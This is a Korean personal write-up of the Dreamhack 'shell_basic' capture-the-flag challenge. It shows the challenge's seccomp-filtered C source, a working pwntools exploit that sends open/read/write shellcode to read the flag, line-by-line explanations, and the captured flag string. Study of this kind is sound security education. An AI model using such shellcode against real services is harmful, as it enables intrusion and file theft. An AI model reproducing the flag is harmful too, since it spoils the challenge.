← 전체 Write-Up

Pwn / Dreamhack

shell_basic

Dreamhack 문제의 풀이와 실습 과정을 원문 그대로 담은 개인 기록입니다.

읽기 안내

Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.

shell_basic

문제 설명

shell_basic — 실습 화면 1


참고 자료

shell_basic — 실습 화면 2


접속 정보

shell_basic — 실습 화면 3

앞으로 접속 정보는 서버 생성 버튼만 누르면 되니 포스팅 하지 않기로한다.


C 코드

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
  puts("TIME OUT");
  exit(-1);
 }

 void init() {
 	setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout,NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
 }

 void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  void (*sc)();

  init();

  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

exploit code

from pwn import *

p = remote('host3.dreamhack.games', 17344)
context.arch = 'amd64'
dir = "/home/shell_basic/flag_name_is_loooooong"

payload = ''
payload += shellcraft.open(dir)
payload += shellcraft.read('rax', 'rsp', 0x100)
payload += shellcraft.write(1, 'rsp', 0x100)

p.recvuntil("shellcode: ")
p.sendline(asm(payload))

print(p.recv())

p.interactive()

코드 설명

p = remote('host3.dreamhack.games', 17344)

remote()는 원격 서버를 대상으로 공격할 때 쓰는 함수다.
주로 remote('url', port) 형식으로 사용한다.
위 스크린샷에서는 포트번호가 다른데, 서버가 닫혔다가 다시 열어서 포트가 바뀐것이다.

context.arch = "amd64"

pwntools는 쉘 코드를 생성하거나 코드를 어셈블, 디스어셈블 하는 기능이 있는데, 대상의 아키텍처의 영향을 받기 때문에 아키텍처를 설정해둬야 한다.

r = "/home/shell_basic/flag_name_is_loooooong"

플래그가 있는 경로를 변수 dir에 저장한다.

payload = ''
payload += shellcraft.open(dir)
payload += shellcraft.read('rax', 'rsp', 0x100)
payload += shellcraft.write(1, 'rsp', 0x100)

페이로드를 작성한다. pwntools의 shellcraft 함수는 execve 함수 뿐만 아니라 orw의 쉘코드를 작성하는데에 굉장히 좋은 기능을 가지고 있다. open("File path") read(fd, buf, 0x100) write(1, buf, 0x100) → 1은 stdout 표준 출력을 의미 fd가 rax인 이유는 open의 함수 반환값이 rax에 저장되기 때문임.

p.recvuntil("shellcode: ")
p.sendline(asm(payload))

print(p.recv())

or

p.interactive()

recvtunil()로 "shellcode: "라는 문자열이 입력될 때까지 기다림.
서버에 연결하면 "shellcode: " 라는 문자열이 뜬다.
그리고 shellcraft로 작성한 asm 코드를 전송한다.
돌아온 값을 받아서 print(p.recv()) 코드로 출력해낸다. 사실 print(p.recv()) 안쓰고 p.interactive() 써도 똑같이 출력되는 거같다.


실행화면

shell_basic — 실습 화면 4

저 수 많은 기계어 위에 보면 DH로 시작하는 flag가 뜨면서 쉘 권한을 탈취한 것을 확인할 수 있다.

DH{ca562d7cf1db6c55cb11c4ec350a3c0b}

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.

이미지 원본 출처